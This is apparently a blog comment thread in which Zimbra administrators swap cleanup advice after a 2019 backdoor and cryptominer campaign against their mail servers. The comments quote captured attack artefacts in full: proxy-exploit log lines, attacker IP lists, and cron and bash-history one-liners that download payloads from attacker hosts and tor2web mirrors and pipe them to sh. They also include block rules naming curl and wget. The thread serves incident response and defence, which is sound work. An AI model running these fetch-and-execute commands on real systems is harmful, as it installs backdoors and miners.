149.129.133.222 – – [16/Apr/2019:03:47:05 +0000] “POST /service/proxy?target=http://47.74.43.251/com_zimbra_clientuploader.zip&upload=1 HTTP/1.1” 200 242 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 1911
149.129.133.222 – – [16/Apr/2019:03:47:10 +0000] “POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1” 500 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 220
Appendix to previous comment regarding the
http://47.74.43.251/com_zimbra_clientuploader.zip
~/Downloads/com_zimbra_clientuploader
❯ tree -D
.
├── [Oct 25 2016] ZaClientUploadViewController.js
├── [Oct 25 2016] ZaClientUploadXFormView.js
├── [Oct 25 2016] com_zimbra_clientuploader.js
├── [Oct 25 2016] com_zimbra_clientuploader.properties
├── [Oct 25 2016] com_zimbra_clientuploader.xml
├── [Oct 25 2016] com_zimbra_clientuploader_ar.properties
├── [Oct 25 2016] com_zimbra_clientuploader_da.properties
├── [Oct 25 2016] com_zimbra_clientuploader_de.properties
├── [Oct 25 2016] com_zimbra_clientuploader_en_AU.properties
├── [Oct 25 2016] com_zimbra_clientuploader_en_GB.properties
├── [Oct 25 2016] com_zimbra_clientuploader_es.properties
├── [Oct 25 2016] com_zimbra_clientuploader_eu.properties
├── [Oct 25 2016] com_zimbra_clientuploader_fr.properties
├── [Oct 25 2016] com_zimbra_clientuploader_fr_CA.properties
├── [Oct 25 2016] com_zimbra_clientuploader_hi.properties
├── [Oct 25 2016] com_zimbra_clientuploader_hu.properties
├── [Oct 25 2016] com_zimbra_clientuploader_in.properties
├── [Oct 25 2016] com_zimbra_clientuploader_it.properties
├── [Oct 25 2016] com_zimbra_clientuploader_iw.properties
├── [Oct 25 2016] com_zimbra_clientuploader_ja.properties
├── [Oct 25 2016] com_zimbra_clientuploader_ko.properties
├── [Oct 25 2016] com_zimbra_clientuploader_lo.properties
├── [Oct 25 2016] com_zimbra_clientuploader_ms.properties
├── [Oct 25 2016] com_zimbra_clientuploader_nl.properties
├── [Oct 25 2016] com_zimbra_clientuploader_pl.properties
├── [Oct 25 2016] com_zimbra_clientuploader_pt.properties
├── [Oct 25 2016] com_zimbra_clientuploader_pt_BR.properties
├── [Oct 25 2016] com_zimbra_clientuploader_ro.properties
├── [Oct 25 2016] com_zimbra_clientuploader_ru.properties
├── [Oct 25 2016] com_zimbra_clientuploader_sl.properties
├── [Oct 25 2016] com_zimbra_clientuploader_sv.properties
├── [Oct 25 2016] com_zimbra_clientuploader_th.properties
├── [Oct 25 2016] com_zimbra_clientuploader_tr.properties
├── [Oct 25 2016] com_zimbra_clientuploader_uk.properties
├── [Oct 25 2016] com_zimbra_clientuploader_zh_CN.properties
├── [Oct 25 2016] com_zimbra_clientuploader_zh_HK.properties
├── [Oct 25 2016] com_zimbra_clientuploader_zh_TW.properties
└── [May 9 01:30] jetty
└── [May 9 01:30] webapps
└── [May 9 01:30] zimbra
└── [May 9 01:30] public
├── [Mar 27 12:23] 404.jsp
└── [May 9 01:27] jsp
└── [Jan 31 2017] ShareCore.jsp
5 directories, 39 files
QUICK FIX IF DISCOVERED
cd /usr/bin/; mv wget wget.disabled . # Stops it re-downloading (name it something diff so attachlers dont go looking for it after this article
using as shown to look for altered files
find /opt/zimbra/jetty/ -name “*.jsp” -mtime -15 -ls
Restore recent archive of /opt/zimbra working directory to simila /opt/zimbra.restored (tar/veeam etc) from before files were altered.
## quick example ##
mkdir /opt/zimbra.restore
tar -zxvf my-archive-name.tar.gz opt/zimbra
cd /opt
rsync -aP –sparse –delete zimbra/db/data/ zimbra.restored/zimbra/db/data
rsync -aP –delete zimbra/log/ zimbra.restored/zimbra/log
rsync -aP –delete zimbra/zmstat/ zimbra.restored/zimbra/zmstat
rsync -aP –delete zimbra/store/ zimbra.restored/zimbra/store (we store this elsewhere for this very possible reason, can be symlink)
mv zimbra zimbra.damaged_date_here
mv zimbra.restore/zimbra zimbra
Apply updates soon as possible.
su zimbra
crontab -e
#comment/delete the last two lines!
#* * * * * wget -q -O – http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1
#*/60 * * * * sh /opt/zimbra/log/zmswatch.sh;
alguien seria tan amable de compartirme el link del parche para la version Release 8.7.11.GA.1854.UBUNTU16.64 UBUNTU16_64 FOSS edition.
where can I find the patch for Release 8.7.11.GA.1854.UBUNTU16.64 UBUNTU16_64 FOSS edition.
I dont see any cron alterations in my zimbra ( i am a victim too dblaunchs version ) where are the cron files?
Greetings
I’m confused… It’s there a massive attack to zimbra servers for all versions (even new versions) and Synacor it’s not fixing it from one month ago?
Zimbra released patches one month BEFORE the infection, as the first paragraph says. Admins didn’t patch their installations
hello
the hacker try to download this script named “bt1.txt” on my server.. if any one tell me what is the work of this script:
[REDACTED]
Please use a pastebin or such to post a full script, first because the page gets long and second I don’t want my site to be considered a malware distributor
hello,,
all these IP used by hacker:
185.234.218.9
193.112.246.211
185.106.120.118
185.99.133.75
185.10.120.123
185.172.65.80
184.69.211.6
149.129.133.222
112.118.155.15
112.78.137.50
181.148.183.75
181.112.138.130
213.221.224.122
85.234.126.92
89.221.52.122
87.236.233.105
103.10.62.174
104.168.158.113
104.168.158.114
104.168.170.48
104.168.211.236
66.79.176.200
93.113.108.146
95.179.215.180
198.12.156.218
190.152.71.46
213.221.224.122
216.155.152.169
91.232.125.211
203.129.203.6
158.69.195.70
47.74.43.251
I have: # / 60 * * * * sh /opt/zimbra/log/zmswatch.sh;
But only a day later it returned to a state of no # before. / 60 * * * * sh /opt/zimbra/log/zmswatch.sh;
Please help me how to block it.
I have comment/delete, But only a day later it returned to a state of no # before. Please help me!
Follow all the guidelines of this post, do some more inevitable investigation on your own as every infection can be different, and you should get rid of it.
Otherwise make as suggested: make a new system and copy over the data.
so there is no way to delete: / 60 * * * * sh /opt/zimbra/log/zmswatch.sh;
Can someone help me delete it?
Hi guys,
got two more attempts, luckily both were 404 (since there are no .jsp scripts in my folders – deleted upon detection)
43.249.139.243 – – [13/May/2019:02:07:59 +0000] “POST /public/Ajax.jsp HTTP/1.0” 404 – “-” “Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04” 442
104.238.133.105 – – [13/May/2019:04:33:33 +0000] “POST /js/zimbra/csfe/XZimbra.jsp HTTP/1.0” 404 – “-” “Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04” 77
so these are another two IPS on my black list (suggest you to put them too and keep list up to date)
also, check out collected blocking traffic, these IPs below are quite active, although I’we sent some emails on abuse but didn’t get any reply, they are now blocked only on firewall
pkts bytes target prot opt in out source destination
5310 269K DROP all — * * 213.221.224.122 0.0.0.0/0
36 1824 DROP all — * * 91.232.125.211 0.0.0.0/0
21591 1094K DROP all — * * 85.234.126.92 0.0.0.0/0
for e.g. other blocked IPs that I collected didnt make any traffic anymore
0 0 DROP all — * * otherIPs 0.0.0.0/0
p.s.
Thanks ^^ moataz, will append diff on my iptables
15 days an the IP 104.238.133.105 is still targeting!!!
We found a new attack vector. We found “”./scr” folder into “tmp”. This folder contains a new binary named “src” that exceutes bind shell…
I had this running as zimbra user using 100% three cores (it had three processes running):
/tmp/.scr/sn2/./-bash
and zimbra’s crontab had this:
* * * * * /tmp/.scr/sn2/./-bash
Inside /tmp/.scr it had another two or three files that I removed.
@Meteus
did you cath IP address (did you find new .jsps) that planted that sh, also could you paste content of that script somewhere so we could check what it does now?
This is a disaster, a new attacker put the criptominer in /opt/zimbra/lib
zmmailboxdwatch and zmstorewatch
I patch the thing but is pwned again.
Well going to reinstall and migrate.
Now new attacker change crontab, delete some lines
[redacted]
/opt/zimbra/lib/zmstorewatch will call script
/opt/zimbra/conf/zmsstore.conf to run/opt/zimbra/lib/zmmailboxwatch , just delete and add these cron lines , delete 3 files, seems to safe now
it’s really giving great help
Is there any impact if we remove /opt/zimbra/bin/curl ?
It’s not part of Zimbra installation files AFAIK. You can always check on Virustotal
Hi friends,
quick method,
rm /opt/zimbra/conf/zmsstore.conf
reinstall the zimbra same 8.6.0 as an upgrade, DO NOT install as clean,, (only upgrade- data will be safe)
apply the patch zcs-patch-8.6.0_GA_1242
please correct me if i have missed anything, !!!!
thanks
if the system is compromised the attacker might have left other intrusion vectors, like JSPs. it’s not a bulletproof method
I found some new admin accounts….
like contact@ op35@ ieut@
“I hear the “best” thing to do if you got hacked is spin up a clean, patched system, and move the mailboxes over to it”
Would this guide work for that above?
https://wiki.zimbra.com/wiki/How_to_move_ZCS_to_another_server
At first sight this would copy everything from the existing installation, included compromised JSPs and accounts
So how do we do “I hear the “best” thing to do if you got hacked is spin up a clean, patched system, and move the mailboxes over to it” in a Nutshell?
could you please layout the steps?
We got this problem just 24hrs ago and its a production server
I have file .kthrotlds.
#top
21483 zimbra 20 0 430m 17m 764 S 394.0 0.1 3902:19 .kthrotlds
20844 zimbra 20 0 8722m 1.9g 20m S 73.3 16.7 62:28.55 java
29304 zimbra 20 0 101m 1308 700 R 5.6 0.0 0:00.17 grep
After:
[root@mail zimbra]# crontab -l -u zimbra
*/9 * * * * tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /tmp/.cache/.ntp||${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /tmp/.cache/.ntp||${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /tmp/.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /tmp/.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /tmp/.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /tmp/.cache/.ntp) && chmod +x /tmp/.cache/.ntp && /bin/sh /tmp/.cache/.ntp
I suppose I have to delete everything from crontab ?
where can I find a backup of the crontab zimbra?
Where can i find backup on crontab, zimbra user ?
You also may find some added admin accounts using the command : zmprov gaaa
sample of accounts created : no-replays, no-rreplay, ut2w, zmbr, …
I’ve the same problem. This is a command found on bash_history of zimbra user:
tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; rand=$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 4-16 -n 1); echo “”); if [ -z ${rand} ]; then rand=”.tmp”; fi; echo “${rand}” > “$(pwd)/.${rand}” 2>/dev/null && LPATH=”$(pwd)/.${rand}”; rm -f “$(pwd)/.${rand}” >/dev/null 2>&1; echo “${rand}” > “/tmp/.${rand}” 2>/dev/null && LPATH=”/tmp/.${rand}”; rm -f “/tmp/.${rand}” >/dev/null 2>&1; (${curl} -fsSLk –retry 3 –connect-timeout 23 –max-time 75 http://185.162.235.211/ldm1 -o “${LPATH}”||${wget} –quiet –no-check-certificate –tries=3 –connect-timeout=23 –timeout=75 http://185.162.235.211/ldm1 -O “${LPATH}”) && chmod +x “${LPATH}” && sh “${LPATH}”
And this file:
http://185.162.235.211/ldm1
I forgot to update one of my servers.
Well, I applied the security patch but even so it keeps changing the user cron zimbra.
I have changed the crontab permission and I believe this will not be able to do anymore.
I got another Zimbra 8.6 (already with the patch) that I have and moved some files to that infected server.
I am monitoring this server but I intend to migrate next weekend.
I’m finalizing some things but I’m putting everything on top of Docker.
Then if anyone is interested in contributing, I’m using docker-compose and is 99% complete, just a few small adjustments are missing.
Thanks for the posts, it helped me a lot.
What are you doing with Docker? A plain Zimbra install?
The ldm1 script is very interesting, could be a source inspiration for cleanup. It tweaks a lot of the system, installs cron+ssh, disables SELinux, adds SSH key…
Currently it doesn’t have a bad reputation on VT (please downvote https://www.virustotal.com/gui/file/886f100ffae4b80fd5a803c1011d6f6afdca3a7e41fe8adf88fd734a731f404a/detection), but it has an analysis of what it does.
How do I extract the original files from the installation source to replace the infected files with them?
Zimbra 8.6.0_GA Network Editions
Make a new installation on a temporary VM and extract files from there
Thanks to Drake for support 🙂
Zimbra 8.6.0 GA Network Editions , CentOS 6.6
Patch Zimbra :
wget https://files.zimbra.com/downloads/8.6. … A_1242.tgz
tar xzf zcs-patch-8.6.0_GA_1242.tgz
cd /tar xzf zcs-patch-8.6.0_GA_1242
Delete global admin accounts
Change password
change the files or delete them
files:
/opt/zimbra/log/.editorinfo –> /opt/zimbra/log/.editorinfo–
/opt/zimbra/log/zmswatch
/opt/zimbra/log/zmswatch.sh
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/Ajax.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/CryptCore.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/portals/example/static.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/portals/example/static.jsp
/tmp/.cache/.ntp
/tmp/.cache/.kthrotlds
Or :
touch /opt/zimbra/log/zmswatch
chattr +i /opt/zimbra/log/zmswatch
Do the same with other files …
Replace with the original installation files:
wget https://files.zimbra.com/downloads/8.6. … 151258.tgz
tar xzf zcs-NETWORK-8.6.0_GA_1153.RHEL6_64.20141215151258.tgz
cd zcs-NETWORK-8.6.0_GA_1153.RHEL6_64.20141215151258/packages/
rpm2cpio zimbra-store-8.6.0_GA_1153.RHEL6_64-20141215151258.x86_64.rpm | cpio -idmv
find /opt/zimbra -name \*.jsp -exec grep –with-filename exec {} \;
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/service/error/403.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/service/error/sfdc_preauth.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/service/error/attachment_blocked.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/login.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbraAdmin/public/jsp/Debug.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/Alert.jsp
top
Kill PID 400%
fix error upload files :
chmod 755 /opt/zimbra/data/tmp/
chmod 755 /opt/zimbra/data/tmp/upload
regenerate crontab
crontab -l -u zimbra
crontab -e -u zimbra
replace with:
===================
# ZIMBRASTART — DO NOT EDIT ANYTHING BETWEEN THIS LINE AND ZIMBRAEND
SHELL=/bin/bash
#
# Log pruning
#
30 2 * * * find /opt/zimbra/log/ -type f -name \*.log\* -mtime +8 -exec rm {} \; > /dev/null 2>&1
35 2 * * * find /opt/zimbra/log/ -type f -name \*.out.???????????? -mtime +8 -exec rm {} \; > /dev/null 2>&1
#
# compress logs manually to avoid application pauses when
# handled through the log4j thread
#
50 2 * * * /opt/zimbra/libexec/zmcompresslogs > /dev/null 2>&1
#
# tmp dir cleaning
#
40 2 * * * /opt/zimbra/libexec/zmcleantmp
#
# Status logging
#
*/2 * * * * /opt/zimbra/libexec/zmstatuslog > /dev/null 2>&1
#*/10 * * * * /opt/zimbra/libexec/zmdisklog > /dev/null 2>&1
#
# SSL Certificate Expiration Checks
#
0 0 1 * * /opt/zimbra/libexec/zmcheckexpiredcerts -days 30 -email
#
# Backups
#
# BACKUP BEGIN
# BACKUP END
#
# crontab.store
#
# Log pruning
#
30 2 * * * find /opt/zimbra/mailboxd/logs/ -type f -name \*log\* -mtime +8 -exec rm {} \; > /dev/null 2>&1
30 2 * * * find /opt/zimbra/log/ -type f -name stacktrace.\* -mtime +8 -exec rm {} \; > /dev/null 2>&1
#
# Report on any database inconsistencies
#
0 23 * * 7 /opt/zimbra/libexec/zmdbintegrityreport -m
#
# Monitor for multiple mysqld to prevent corruption
#
#*/5 * * * * /opt/zimbra/libexec/zmcheckduplicatemysqld -e > /dev/null 2>&1
#
# Check zimbraVersionCheckURL for new update.
# Only runs if this server matches zimbraVersionCheckServer
# Only executes on zimbraVersionCheckInterval. min 2h interval
#
18 */2 * * * /opt/zimbra/libexec/zmcheckversion -c >> /dev/null 2>&1
#
# Invoke “ComputeAggregateQuotaUsageRequest” periodically
#
15 2 * * * /opt/zimbra/libexec/zmcomputequotausage > /dev/null 2>&1
#
# Invoke “client_usage_report.py” periodically to process /opt/zimbra/log/access_log* files
#
55 1 * * * /opt/zimbra/libexec/client_usage_report.py > /dev/null 2>&1
#
# Run zmgsaupdate util to trickeSync galsync accounts
#
49 0 * * 7 /opt/zimbra/libexec/zmgsaupdate > /dev/null 2>&1
#
# crontab.logger
#
# process logs
#
00,10,20,30,40,50 * * * * /opt/zimbra/libexec/zmlogprocess > /tmp/logprocess.out 2>&1
#
# Graph generation
#
#10 * * * * /opt/zimbra/libexec/zmgengraphs >> /tmp/gengraphs.out 2>&1
#
# Daily reports
#
30 23 * * * /opt/zimbra/libexec/zmdailyreport -m
#
# crontab.mta
#
#
# Queue logging
#
0,10,20,30,40,50 * * * * /opt/zimbra/libexec/zmqueuelog
#
# Spam training
#
0 22 * * * /opt/zimbra/bin/zmtrainsa >> /opt/zimbra/log/spamtrain.log 2>&1
#
# Spam training cleanup
#
45 23 * * * /opt/zimbra/bin/zmtrainsa –cleanup >> /opt/zimbra/log/spamtrain.log 2>&1
#
# Spam rule updates
#
45 0 * * * . /opt/zimbra/.bashrc; /opt/zimbra/libexec/zmsaupdate
#
# Dspam cleanup
#
0 1 * * * [ -d /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.sig ] && find /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.sig/ -type f -name \*sig -mtime +7 -exec rm {} \; > /dev/null 2>&1
8 4 * * * [ -f /opt/zimbra/data/dspam/system.log ] && /opt/zimbra/dspam/bin/dspam_logrotate -a 60 -l /opt/zimbra/data/dspam/system.log
8 8 * * * [ -f /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.log ] && /opt/zimbra/dspam/bin/dspam_logrotate -a 60 -l /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.log
#
# Spam Bayes auto-expiry
#
20 23 * * * /opt/zimbra/libexec/sa-learn –dbpath /opt/zimbra/data/amavisd/.spamassassin –force-expire –sync > /dev/null 2>&1
#
# Clean up amavisd/tmp
#
15 5,20 * * * find /opt/zimbra/data/amavisd/tmp -maxdepth 1 -type d -name ‘amavis-*’ -mtime +1 -exec rm -rf {} \; > /dev/null 2>&1
#
# Clean up the quarantine dir
#
0 1 * * * find /opt/zimbra/data/amavisd/quarantine -type f -mtime +7 -exec rm -f {} \; > /dev/null 2>&1
#ZIMBRAEND — DO NOT EDIT ANYTHING BETWEEN THIS LINE AND ZIMBRASTART
===================
or use file /tmp/crontab.zimbra
#help
zmschedulebackup -h
#To Verify Backup Schedules:
zmschedulebackup -q
#To Configure Default Backup Schedules:
zmschedulebackup -D
#To Configure Customized Backup Schedules:
zmschedulebackup -R f “0 1 * * 6” –mail-report i “0 1 * * 0-5” –mail-report d 14d “0 0 * * *” –mail-report
crontab -l |grep -i backup
Lock up crontab
chattr +i /var/spool/cron/zimbra
reboot
and this…
# Zimbra AJAX Webmail not loading
cd /opt/zimbra/mailboxd
find webapps -type d -exec chmod 0755 {} \;
find webapps -type f -exec chmod 0644 {} \;
My system version is Release 8.7.0_GA_1659.RHEL7_64_20160628202714 RHEL7_64 FOSS edition. I need update to kind of patch to fix this? Thanks
You must update to 8.7.11, and then patch.
Thanks for u reply. My system is multi server protocol so can i update only in mailbox server to 8.7.11 and patch this?
not sure. anyway why would you want to keep a system misaligned in versions?
Be cause my system had been customized many part such as gui for user on mailbox, spam on mta, ldap… and this is the first time i update so i am afraid of the change of system when i update. May be i will bulid a lab for this.
Release 8.6.0.GA.1153.UBUNTU14.64 UBUNTU14_64 FOSS edition, Patch 8.6.0_P14.
For Zimbra 8.6.0 :
Download Same Version Zimbra.
Extract and do upgrade Zimbra with same version.
After test all feature normal
Do PATCH 14
If using self sign SSL then i update / generate new self sign SSL.
Change all Admin Zimbra Account Password
Zimbra using Centos 6.8 and Ubuntu 14.04 already a week running and hope no problem accour
I did just the same as you did a few days ago. But… for me, the process zmswatch continues to appear. I kill the bastard, and it randomly appears again! But apparently with no performance prejudice or any side effect.
Have you checked the login.jsp?
/opt/zimbra/jetty/webapps/zimbra/public/login.jsp
My file contained malicious code after closing tag.
If the suspicious files are still appearing again and again after applying a patch and deleting malicious JSPs, here’s how to check where it comes from:
auditctl -w /usr/bin/curl -p x -k audit-curl
Or, if curl is not available on the system – check wget instead.
Then you can check if someone has used curl:
ausearch -k audit-curl
Usually, it happens once a day, so you can run ausearch periodically.
In my case, first downloaded file is the shell script, I examined it to what it is trying to do – creates new files and fakes modification dates with touch -r (for example, login.jsp). I had to check all of these files for malicious code. And eventually, I found where is the original backdoor is located. (Actually, the article shows how to find it by searching for “(request.getParameter”, but due to different code formatting, this method doesn’t always work)
I suggest you to make a new server. If the infection is still active the attacker could still be inside the system, doing whatever they want! Auditing or blocking with chattr is just a workaround, you need to make sure the system is safe. And now it’s not.
Thank you, I know it would be the best way. Maybe you know good open source solution to copy all data – accounts, emails, settings – from old server to the new one, excluding probably infected JSPs?
as I wrote in the updated article ZeXtras migration tool
Totally agree, but I’m having some hard time to have equal or better hardware to deploy a new server. And we work as a mail provider for some customers, then we have several domains to migrate…
Hi the hacker now uses tor for download the poison.
Here is the latest script my zimbra received : https://pastebin.com/YVRDX6RU
For two days, attacker uses new file name in /opt/zimbra/log/memcached.Virus came from this url
https://github[.]com/vomixaaa/x/blob/master/x.zip and same ip range 104.238.x.x
the script run from
/opt/zimbra/data/tmp/
after to shoe file
ls -la
so that you can view .swatch_script
Today I’ve found a new behavior. Thousands of sed process making zimbra run out of space. Researching I’ve found too many /opt/zimbra/log/sed-AeswXB34 files.
This also cause that services were down.
chmod -x /usr/bin/sed ; chattr +i /usr/bin/sed
For your info.
I tried all off above, but still a random script is launched from the Jetty webservice.
After a TCP dump :
tcpdump -s 0 -A ‘tcp dst port 80 or tcp dst port 443 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354’ ,
I saw the pattern that was launched from an external IP.
GET /wp-updates/R10DA3z3dw3u/watch.zip?p=eyqhtusc HTTP/1.1^M
User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2^M
Host: welcome.ulimit-n.com
For now I disable CURL and WGET for the user Zimbra and added a line in the
nginx.conf.web.https.default.template and nginx.conf.web.http.default.template.
if ($http_user_agent ~ (python-requests|Wget|curl) ) { return 403; }
For now everything seems to be OK.
Charles
Hello,
Could you explain where exactly you modified/insert this line :
if ($http_user_agent ~ (python-requests|Wget|curl) ) { return 403; }
in your conf :
nginx.conf.web.https.default.template
Hi Mich,
In the second line after Server, see below
server
{ if ($http_user_agent ~ (python-requests|Wget|curl) ) { return 403; }
I also change the attribute off the CURL and WGET linux command.
chmod -x /usr/bin/curl ; chattr +i /usr/bin/curl
chmod -x /usr/bin/wget ; chattr +i /usr/bin/wget
Server is running fine for two days now.
regards,
Charles
I’m against chattr and chmod because gives you the false perception that the server is safe. An attacker can still run zmprov and perform many disruptive actions as well as exfiltrate all your data. It’s more important (and hard) to fix it the correct way
Thank you Charles 😉
Hi,
Patch14 has been installed on my Zimbra. I’m running Zimbra – 8.6.0 server without proxy service. How do I block this user agent for http and https.
I write something about cleaning my server, may help someone.
http://www.deathline.net/blog/index.php?/archives/10-Yet-another-zmcat-or-counterpart-cleaning-guide-for-Zimbra.html
ALWAYS, on an Internet connected server, do separate /tmp filesystem and mount it with noexec flag.
Many attacks are initiated by sending/generate scripts/binaries in /tmp (beware PHP too, cookies…), so with a simple noexec filesystem you’re (totaly ?) safe !